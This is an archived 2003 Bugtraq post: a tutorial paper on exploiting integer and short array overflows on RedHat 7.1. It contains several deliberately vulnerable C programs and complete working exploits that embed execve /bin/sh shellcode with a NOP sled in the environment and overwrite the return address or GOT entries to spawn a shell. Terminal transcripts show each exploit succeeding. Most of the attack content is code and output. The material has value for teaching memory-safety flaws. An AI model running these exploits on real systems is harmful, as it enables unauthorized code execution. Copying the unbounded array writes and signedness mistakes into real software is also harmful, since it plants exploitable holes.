lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20030916091256.1571.qmail@sf-www2-symnsj.securityfocus.com>
Date: 16 Sep 2003 09:12:56 -0000
From: Vade 79 <v9@...ehalo.deadpig.org>
To: bugtraq@...urityfocus.com
Subject: [PAPER]: Integer array overflows.




PAPER: "Integer array overflows".

AUTHOR: vade79/v9 v9@...ehalo.deadpig.org (fakehalo).

HEADER: A tutorial on the exploitation of int, and short array overflows.


This paper discusses the exploitation of integer arrays due to lack of
calculations to limit the amount of elements added to them.  This is a
fairly common occurrence in programming today, while somewhat known and
understood in character array form, I've never seen it mentioned on the
integer level.

Expectations for this paper are that you have knowledge of stack based
overflows, heap based overflows, memory workings, some knowledge of
character array overflows wouldn't hurt, and of course good ANSI C
programming experience.

All of the example programs and example exploits contained in this
paper were made and tested on RedHat/7.1 default install.  It is possible
the values used may not be the same on every system.  As such, you will
need to fully read the paper and test for yourself.

Integer array overflows happen much the same as any other lack of bounds
checking overflow occurs.  In memory, after the allotted space provided to 
hold the number of elements defined, are internal values and memory
addresses.

Once you have access to go beyond those bounds, you can overwrite
internal values just as easily as a standard buffer overflow.  This is
possible because memory addresses on most architectures just happen to
be the same size as an integer; four bytes stored in memory.  As such,
this allows you to not have to worry about alignment.

To illustrate how this looks on the memory level, in ascii:

 int array[32];

Will look like (in memory):

 [0x00000000][0x00000000][0x00000000][0x00000000][0x00000000][0x00000000]
 [0x00000000][0x00000000][0x00000000][0x00000000][0x00000000][0x00000000]
 [0x00000000][0x00000000][0x00000000][0x00000000][0x00000000][0x00000000]
 [0x00000000][0x00000000][0x00000000][0x00000000][0x00000000][0x00000000]
 [0x00000000][0x00000000][0x00000000][0x00000000][0x00000000][0x00000000]
 [0x00000000][0x00000000]

Then, right after the 32nd(last) array value are internal values and
memory addresses, depending on each situation, making for possible
exploitable situations.

The fact that address notation and integer notation have the exact same
maximum limit of value (0xffffffff = 4294967295) makes this perfect for
any range of memory mangling.

Now it's time for a nice example of a buggy program:


INT_ARRAY.C: example buggy program.

/* int_array.c: a buggy test program.          */
/* syntax: ./int_array [slot] [value]          */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void place_int_array(unsigned int slot,int value){
 int array[32];
 array[slot]=value; /* the overwrite itself.   */
 printf("filled slot %u with %d.\n",slot,value);
 return;
}
int main(int argc,char **argv){
 if(argc!=3)
  printf("syntax: %s [slot] [value]\n",argv[0]);
 else
  place_int_array(atoi(argv[1]),atoi(argv[2]));
 exit(0);
}

INT_ARRAY.C: EOF.


Basically, all the example program does is fill the desired element with
the supplied value.  So, time to tinker with the example program:

$ [root@...alhost /root]# gcc int_array.c -o int_array
$ [root@...alhost /root]# ./int_array 33 65535
$ filled slot 33 with 65535.
$ [root@...alhost /root]# ./int_array 34 65535
$ filled slot 34 with 65535.
$ [root@...alhost /root]# ./int_array 35 65535
$ filled slot 35 with 65535.
$ Segmentation fault (core dumped)

That's what I like to see; time to take it into gdb and examine.

$ [root@...alhost /root]# gdb -c core
$ GNU gdb 5.0rh-5 Red Hat Linux 7.1
$ ...
$ This GDB was configured as "i386-redhat-linux".
$ Core was generated by `./int_array 35 65535'.
$ Program terminated with signal 11, Segmentation fault.
$ #0  0x0000ffff in ?? ()
$ (gdb)

Perfect, 0x0000ffff = 65535, the same value passed as the second
argument (note that it may not be slot 35 on every machine).  So, we have
control of EIP in integer notation; no problem.  As stated before, address
values and integer values are the same, just in different notation.  This
is true for most common memory layouts, but not all.

Now, time to produce an example exploit for this example program:


EXPL_INT_ARRAY.C: example exploit, for a buggy program.

/* expl_int_array.c: int_array.c exploit.      */
/* syntax: ./expl_int_array [0x????????] [#]   */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* path to the buggy program. (int_array)      */

#define PATH "./int_array"

/* size of shellcode buffer.                   */

#define ENV_SIZE 4096

/* x86/linux shellcode, written by aleph1.     */

static char x86_exec[]=
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
 "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
 "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f"
 "\x62\x69\x6e\x2f\x73\x68";

int main(int argc,char **argv){
 char n_to_s[16],*buf;
 unsigned int ret;

 /* take address given, to be converted to a   */
 /* numeric value.                             */

 if(argc>2)
  sscanf(argv[1],"%x",&ret);
 else{
  printf("syntax: %s [0x????????] [#]\n",argv[0]);
  exit(0);
 }

 /* compensation:                              */
 /*  anything above 0x7fffffff will need to be */
 /*  passed as a negative value.  subtract     */
 /*  0xffffffff in that case.  it will loop    */
 /*  over into the desired value.              */

 if(ret>0x7fffffff)
  sprintf(n_to_s,"%d",ret-0xffffffff-1);
 else
  sprintf(n_to_s,"%u",ret);

 /* put the nops+shellcode in the environment. */

 if(!(buf=(char *)malloc(ENV_SIZE+1)))exit(0);
 memset(buf,0x90,(ENV_SIZE-strlen(x86_exec)));
 memcpy(buf+(ENV_SIZE-strlen(x86_exec)),x86_exec,strlen(x86_exec));
 setenv("EXEC",buf,1);
 free(buf)

 /* some verbose display, informing!           */

 printf("* return address: 0x%x\n",ret);
 printf("* command line: %s %s %s\n\n",PATH,argv[2],n_to_s);

 /* exploit it.                                */

 execl(PATH,PATH,argv[2],n_to_s,0);

 /* should not make it here, execution failed. */

 exit(0);
}

EXPL_INT_ARRAY.C: EOF.


The exploit syntax is as follows: ./expl_int_array [slot number]
[address].  Where 'expl_int_array' will put shellcode in the environment
on top of the stack close to 0xbfffffff going downward. (for linux)

Since, in the exploit example I gave ~4000 bytes of NOP (no 
operation/guesses) room, we'll use an address a bit from the top.

$ [root@...alhost /root]# gcc expl_int_array.c -o expl_int_array
$ [root@...alhost /root]# ./expl_int_array 0xbffff000 35
$ * return address: 0xbffff000
$ * command line: ./int_array 35 -1073745920
$
$ filled slot 35 with -1073745920.
$ sh-2.04#

Presto, now let's spice it up a little bit.  We'll change the original 
int_array.c example code to contain some bounds checking.


INT_ARRAY.C: (rewrite of original) example buggy program.

/* int_array.c: a buggy test program.          */
/* syntax: ./int_array [slot] [value]          */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void place_int_array(int slot,int value){
 int array[32];
 if(slot>32)
  printf("slot is greater than 32, out of bounds.\n");
 else{
  array[slot]=value; /* the overwrite itself.  */
  printf("filled slot %d with %d.\n",slot,value);
 }
 return;
}
int main(int argc,char **argv){
 if(argc!=3)
  printf("syntax: %s [slot] [value]\n",argv[0]);
 else
  place_int_array(atoi(argv[1]),atoi(argv[2]));
 exit(0);
}

INT_ARRAY.C: (rewrite of original) EOF.


The main change in the example code (int_array.c) is that it checks for
writing to array slots greater than 32, but not checking for negative
values passed in an improper signedness situation.

Since this example code is just a rewrite of the original, we can use the
same example exploit used on the rewrite, as was on the original.  So,
when we attempt the same example exploit command line as before, we get a
different result.

$ [root@...alhost /root]# ./expl_int_array 0xbffff000 35
$ * return address: 0xbffff000
$ * command line: ./int_array 35 -1073745919
$
$ slot is greater than 32, out of bounds.

However, do to the improper signedness usage in the code, this can be
exploited by passing a large, specially crafted negative value.

If you remember, in the original example the magic number was 35.  For
this situation, we can take that value and form a simple calculation to
make it bypass the bounds checking while overwriting the same area;
-2147483648(max) + 35 = -2147483613.  Now let's see what happens.

$ [root@...alhost /root]# ./expl_int_array 0xbffff000 -2147483613
$ * return address: 0xbffff000
$ * command line: ./int_array -2147483613 -1073745919
$
$ filled slot -2147483613 with -1073745919.
$ sh-2.04#

Simple as that, at least for this example.  Now, let's rewrite the same
example one last time.  This time we will allocate the array in the heap
instead of on the stack.


INT_ARRAY.C: (second rewrite of original) example buggy program.

/* int_array.c: a buggy test program.          */
/* syntax: ./int_array [slot] [value]          */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void place_int_array(int slot,int value){
 int *array;
 if(!(array=(int *)calloc(32,sizeof(int))))exit(1);
 if(slot>32)
  printf("slot is greater than 32, out of bounds.\n");
 else{
  array[slot]=value; /* the overwrite itself.  */
  printf("filled slot %d with %d.\n",slot,value);
 }
 return;
}
int main(int argc,char **argv){
 if(argc!=3)
  printf("syntax: %s [slot] [value]\n",argv[0]);
 else
  place_int_array(atoi(argv[1]),atoi(argv[2]));
 exit(0);
}

INT_ARRAY.C: (second rewrite of original) EOF.

Alright, this is the rewrite of the first rewrite.  Only new thing here is
the memory is allocated on the heap now.  This changes things somewhat,
including methods of exploitation.

The method I am fond of in this kind of situation is to overwrite the
GOT("_GLOBAL_OFFSET_TABLE_") of other functions.  Since the integer array
is located after the GOT section, we will use negative slot values to back
track.

In a small program, such as this example, the GOT section will not be too
far back.  If the program is on a larger scale, you will most likely need
to travel back a good deal farther.  On the flip-side of that coin, there
will most likely be more functions; meaning there will be more GOT
function addresses available to change.

You should hit magic spots in the GOT section around -45 to -70.  The ones
that worked for me were -53, -55, -57, -59, and -62.  As before, this is
just another rewrite of the original example code.  We can use the same
example exploit code to exploit it, just different arguments.

$ [root@...alhost /root]# ./expl_int_array 0xbffff000 -53
$ * return address: 0xbffff000
$ * command line: ./int_array -53 -1073745919
$
$ filled slot -53 with -1073745919.
$ sh-2.04#

Time to move on to a new example situation and example program.

When it comes to practical exploitation of integer arrays, it will most
likely be in a looped situation.  In such a situation, you may need to
fill in other internal values to make it work.

For example, in many loop situations, the first value you overwrite may be
that of the increase/decrease integer (ie. "i++;") showing the location in
the loop and where to place in the array.

These situations can make it possible to jump from one location to another,
making it so we only overwrite the destination location desired.  This is
done by passing a specially crafted value for the increase/decrease loop
integer, making the array element slot point to anywhere you want in
respective memory locations.

Here is an example of such a buggy program:


INT_ARRAY2.C: example buggy program.

/* int_array2.c: a buggy test program.         */
/* syntax: ./int_array2 [value,value,...]      */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char *gettoken(char *,int,unsigned int);
void place_int_array(char *);

int main(int argc,char **argv){
 if(argc!=2)
  printf("syntax: %s [value,value,...]\n",argv[0]);
 else
  place_int_array(argv[1]);
 exit(0);
}

/* place the string into the elements.         */

void place_int_array(char *slot_values){
 unsigned int i=0;
 int array[32];
 char *ptr;

 /* overflow occurs here, no bounds checking.  */

 while((ptr=gettoken(slot_values,i,','))){
  array[i]=atoi(ptr); /* the overwrite itself. */
  printf("placed %d in array slot %u.\n",atoi(ptr),i);
  i++; /* will be overwritten too. (first)     */
 }
 return;
}

/* function to pluck out tokens.               */

char *gettoken(char *string,int i,unsigned int sep){
 unsigned int j=0,k=0;
 char *buf;
 if(!(buf=(char *)malloc(strlen(string)+1)))exit(1);
 memset(buf,0x0,(strlen(string)+1));
 if(i<0)return(NULL);
 else
  for(j=0;j<strlen(string);j++){
   if(string[j]==sep)i--;
   else if(!i)buf[k++]=string[j];
   if(string[j]==0x0A||string[j]==0x0)j=(strlen(string)+1);
  }
 if(i>0)return(NULL);
 return(buf);
}

INT_ARRAY2.C: EOF.


The buggy program simply takes each number passed, separated by commas,
and adds it in sequenced order to the array without bounds checking.

Now, let's see what we can make it do.

$ [root@...alhost /root]# gcc int_array2.c -o int_array2
$ [root@...alhost /root]# ./int_array2 `perl -e 'print"123,"x50'`123
$ placed 123 in array slot 0.
$ placed 123 in array slot 1.
$ placed 123 in array slot 2.
$ placed 123 in array slot 3.
$ ...
$ placed 123 in array slot 32.
$ placed 123 in array slot 33.
$ placed 123 in array slot 34.
$ placed 123 in array slot 123.
$ [root@...alhost /root]#

If you noticed, where slot 35 was supposed to be, got changed to our 123.
This means we have control of the loop integer described earlier.  This
means we can make a jump, if desired, to only overwrite the location we
want to.  Back to playing with the buggy program.

$ [root@...alhost /root]# ./int_array2 `perl -e 'print"0,"x35'`35,0,0,0\
$ ,65535
$ placed 0 in array slot 0.
$ placed 0 in array slot 1.
$ placed 0 in array slot 2.
$ placed 0 in array slot 3.
$ ...
$ placed 0 in array slot 32.
$ placed 0 in array slot 33.
$ placed 0 in array slot 34.
$ placed 35 in array slot 35.
$ placed 0 in array slot 36.
$ placed 0 in array slot 37.
$ placed 0 in array slot 38.
$ placed 65535 in array slot 39.
$ Segmentation fault (core dumped)

Ah, good, I decided to just leave the loop integer with what it should
be (35) to keep the program sane for testing.  Let's take the core into
gdb.

$ [root@...alhost /root]# gdb -c core
$ GNU gdb 5.0rh-5 Red Hat Linux 7.1
$ ...
$ This GDB was configured as "i386-redhat-linux".
$ Core was generated by `./int_array2 
$ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,'.
$ Program terminated with signal 11, Segmentation fault.
$ #0  0x0000ffff in ?? ()

Perfect, 0x0000ffff = 65535, just like the first examples.  Now it's time
for the example exploit to prove the theory.


EXPL_INT_ARRAY2.C: example exploit, for a buggy program.

/* expl_int_array2.c: int_array2.c exploit.    */
/* syntax: ./expl_int_array2 [0x????????]      */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* path to the buggy program. (int_array2)     */

#define PATH "./int_array2"

/* size of shellcode buffer.                   */

#define ENV_SIZE 4096

/* x86/linux shellcode, written by aleph1.     */

static char x86_exec[]=
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
 "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
 "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f"
 "\x62\x69\x6e\x2f\x73\x68";

/* fill the array up first.  remember, the 38  */
/* is there because that is the location of    */
/* the loop (increase) integer getting         */
/* overwritten in that slot, which is slot 35  */
/* in this situation.  since, EIP is at 38,    */
/* might as well jump 35 to 38 while keeping   */
/* the program sane.                           */

static char prefix[]=
 "0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,"
 "0,0,0,0,0,0,0,0,0,38,0,0,0,";

int main(int argc,char **argv){
 char n_to_s[16],*buf;
 unsigned int ret;

 /* take address given, to be converted to a   */
 /* numeric value.                             */

 if(argc>1)
  sscanf(argv[1],"%x",&ret);
 else{
  printf("syntax: %s [0x????????]\n",argv[0]);
  exit(0);
 }

 /* compensation:                              */
 /*  anything above 0x7fffffff will need to be */
 /*  passed as a negative value.  subtract     */
 /*  0xffffffff in that case.  it will loop    */
 /*  over into the desired value.              */

 if(ret>0x7fffffff)
  sprintf(n_to_s,"%d",ret-0xffffffff);
 else
  sprintf(n_to_s,"%u",ret);

 /* put the nops+shellcode in the environment. */

 if(!(buf=(char *)malloc(ENV_SIZE+1)))exit(1);
 memset(buf,0x90,(ENV_SIZE-strlen(x86_exec)));
 memcpy(buf+(ENV_SIZE-strlen(x86_exec)),x86_exec,strlen(x86_exec));
 setenv("EXEC",buf,1);
 free(buf);

 /* make the final array argument to pass.     */

 if(!(buf=(char *)malloc(strlen(prefix)+strlen(n_to_s)+1)))exit(1);
 sprintf(buf,"%s%s",prefix,n_to_s);

 /* some verbose display, informing!           */

 printf("* return address: 0x%x\n",ret);
 printf("* command line: %s %s\n\n",PATH,buf);

 /* exploit it.                                */

 execl(PATH,PATH,buf,0);

 /* should not make it here, execution failed. */

 exit(0);
}

EXPL_INT_ARRAY2.C: EOF.


The syntax for the example exploit is virtually the same as the first
except the only argument needed is an address.  On with the show.

$ [root@...alhost /root]# gcc expl_int_array2.c -o expl_int_array2
$ [root@...alhost /root]# ./expl_int_array2 0xbffff000
$ * return address: 0xbffff000
$ * command line: ./int_array2 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
$ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,38,0,0,0,-1073745919
$
$ placed 0 in array slot 0.
$ placed 0 in array slot 1.
$ placed 0 in array slot 2.
$ placed 0 in array slot 3.
$ ...
$ placed 0 in array slot 32.
$ placed 0 in array slot 33.
$ placed 0 in array slot 34.
$ placed 38 in array slot 38.
$ placed -1073745919 in array slot 39.
$ sh-2.04#

Now for one last example.  We are going to take the same idea as the
int_array2.c example except use a 'short' array instead.

Exploiting a short array will be slightly different than that of an int
array.  The main difference being that short's are stored as two bytes
and int's are four bytes.  If you have experience with format string bugs,
the format of exploitation will be very similar to that of the "half
numbers".

Here is the buggy short array example program.


SHORT_ARRAY.C: example buggy program.

/* short_array.c: a buggy test program.        */
/* syntax: ./short_array [value,value,...]     */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char *gettoken(char *,int,unsigned int);
void place_short_array(char *);

int main(int argc,char **argv){
 if(argc!=2)
  printf("syntax: %s [value,value,...]\n",argv[0]);
 else
  place_short_array(argv[1]);
 exit(0);
}

/* place the string into the elements.         */

void place_short_array(char *slot_values){
 unsigned int i=0;
 short array[32];
 char *ptr;

 /* overflow occurs here, no bounds checking.  */

 while((ptr=gettoken(slot_values,i,','))){
  array[i]=atoi(ptr); /* the overwrite itself. */
  printf("placed %d in array slot %u.\n",atoi(ptr),i);
  i++; /* will be overwritten too. (first)     */
 }
 return;
}

/* function to pluck out tokens.               */

char *gettoken(char *string,int i,unsigned int sep){
 unsigned int j=0,k=0;
 char *buf;
 if(!(buf=(char *)malloc(strlen(string)+1)))exit(1);
 memset(buf,0x0,(strlen(string)+1));
 if(i<0)return(NULL);
 else
  for(j=0;j<strlen(string);j++){
   if(string[j]==sep)i--;
   else if(!i)buf[k++]=string[j];
   if(string[j]==0x0A||string[j]==0x0)j=(strlen(string)+1);
  }
 if(i>0)return(NULL);
 return(buf);
}

SHORT_ARRAY.C: EOF.


If you noticed, the only difference between this and int_array2.c is that
the array is a short.  So, since the values are half the size of an int,
it is going to take twice as many elements to do what we want (after that
array).

Here is how short_array responds under the same testing on int_array2.

$ [root@...alhost /root]# gcc short_array.c -o short_array
$ [root@...alhost /root]# ./short_array `perl -e 'print"0,"x32'`0,0,0,0\
$ ,0,0,38,0,0,0,0,0,0,0,65535,43690
$ placed 0 in array slot 0.
$ placed 0 in array slot 1.
$ placed 0 in array slot 2.
$ placed 0 in array slot 3.
$ ...
$ placed 0 in array slot 32.
$ placed 0 in array slot 33.
$ placed 0 in array slot 34.
$ placed 0 in array slot 35.
$ placed 0 in array slot 36.
$ placed 0 in array slot 37.
$ placed 38 in array slot 38.
$ placed 0 in array slot 39.
$ placed 0 in array slot 40.
$ placed 0 in array slot 41.
$ placed 0 in array slot 42.
$ placed 0 in array slot 43.
$ placed 0 in array slot 44.
$ placed 0 in array slot 45.
$ placed 65535 in array slot 46.
$ placed 43690 in array slot 47.
$ Segmentation fault (core dumped)
$ [root@...alhost /root]# gdb -c core
$ GNU gdb 5.0rh-5 Red Hat Linux 7.1
$ ...
$ This GDB was configured as "i386-redhat-linux".
$ Core was generated by `./short_array 
$ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0'.
$ Program terminated with signal 11, Segmentation fault.
$ #0  0xaaaaffff in ?? ()

Everything occurs about the same as in int_array2, doubled in values,
including the doubling to make the address value.  Where 65535 is 0xffff
and 0x43690 is 0xaaaa.

As a side note, if you are overwriting a loop integer with short elements,
you will want to leave half of the integer as a 0 (0x0000) unless the
integer is over 65535 (0xffff), which is not a likely scenario for a loop
integer.

On with the demonstration exploit.


EXPL_SHORT_ARRAY.C: example exploit, for a buggy program.

/* expl_short_array.c: short_array.c exploit.  */
/* syntax: ./expl_short_array [0x????????]     */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* path to the buggy program. (short_array)    */

#define PATH "./short_array"

/* size of shellcode buffer.                   */

#define ENV_SIZE 4096

/* x86/linux shellcode, written by aleph1.     */

static char x86_exec[]=
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
 "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
 "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f"
 "\x62\x69\x6e\x2f\x73\x68";

/* fill the array up first.  remember, the 45  */
/* is there because that is the location of    */
/* the loop (increase) integer getting         */
/* overwritten in that slot, which is slot 38  */
/* in this situation.  since, EIP is at 45,    */
/* might as well jump 38 to 45 while keeping   */
/* the program sane.                           */

static char prefix[]=
 "0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,"
 "0,0,0,0,0,0,0,0,0,0,0,0,45,0,0,0,0,0,0,0,";

int main(int argc,char **argv){
 char n_to_s[16],*buf;
 unsigned int ret;

 /* take address given, to be converted to a   */
 /* numeric value.                             */

 if(argc>1)
  sscanf(argv[1],"%x",&ret);
 else{
  printf("syntax: %s [0x????????]\n",argv[0]);
  exit(0);
 }

 /* compensation:                              */
 /*  as short's are two bytes, it will be      */
 /*  broken down into two element overwrites.  */
 /*  also, don't need to worry about negative  */
 /*  values in this situation.                 */

 sprintf(n_to_s,"%u,%u",(ret&0x0000ffff),(ret&0xffff0000)>>16);

 /* put the nops+shellcode in the environment. */

 if(!(buf=(char *)malloc(ENV_SIZE+1)))exit(1);
 memset(buf,0x90,(ENV_SIZE-strlen(x86_exec)));
 memcpy(buf+(ENV_SIZE-strlen(x86_exec)),x86_exec,strlen(x86_exec));
 setenv("EXEC",buf,1);
 free(buf);

 /* make the final array argument to pass.     */

 if(!(buf=(char *)malloc(strlen(prefix)+strlen(n_to_s)+1)))exit(1);
 sprintf(buf,"%s%s",prefix,n_to_s);

 /* some verbose display, informing!           */

 printf("* return address: 0x%x\n",ret);
 printf("* command line: %s %s\n\n",PATH,buf);

 /* exploit it.                                */

 execl(PATH,PATH,buf,0);

 /* should not make it here, execution failed. */

 exit(0);
}

EXPL_SHORT_ARRAY.C: EOF.


And demonstrate.

$ [root@...alhost /root]# ./expl_short_array 0xbffff000
$ * return address: 0xbffff000
$ * command line: ./short_array 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
$ ,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,45,0,0,0,0,0,0,0,61440,49151
$
$ placed 0 in array slot 0.
$ placed 0 in array slot 1.
$ placed 0 in array slot 2.
$ placed 0 in array slot 3.
$ ...
$ placed 0 in array slot 32.
$ placed 0 in array slot 33.
$ placed 0 in array slot 34.
$ placed 0 in array slot 35.
$ placed 0 in array slot 36.
$ placed 0 in array slot 37.
$ placed 45 in array slot 45.
$ placed 61440 in array slot 46.
$ placed 49151 in array slot 47.
$ sh-2.04#

Poof, and that's that.  As this paper has shown, integer array overflows
are not limited to the stack or heap, or even one brand of integer.  The
same rules, if not less, apply to integer array overflows that do to any
other kind of overflow.

Any of these situations can also occur with character arrays in the same
manner.  The only difference being you cannot use null bytes in character
array situations as you can with integer arrays.

Also remember, signedness can play a major role in exploitation of these
bugs.  If proper signedness is used, it may render the negative value
method useless.  This only applies to the rewrites of the int_array.c
example.

I hope this short and to-the-point paper has helped to explain the
potential of these kinds of overflows, and has shown how to effectively
exploit them.


Origin reference: http://fakehalo.deadpig.org/IAO-paper.txt

Vade79 -> v9@...ehalo.deadpig.org -> fakehalo.


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ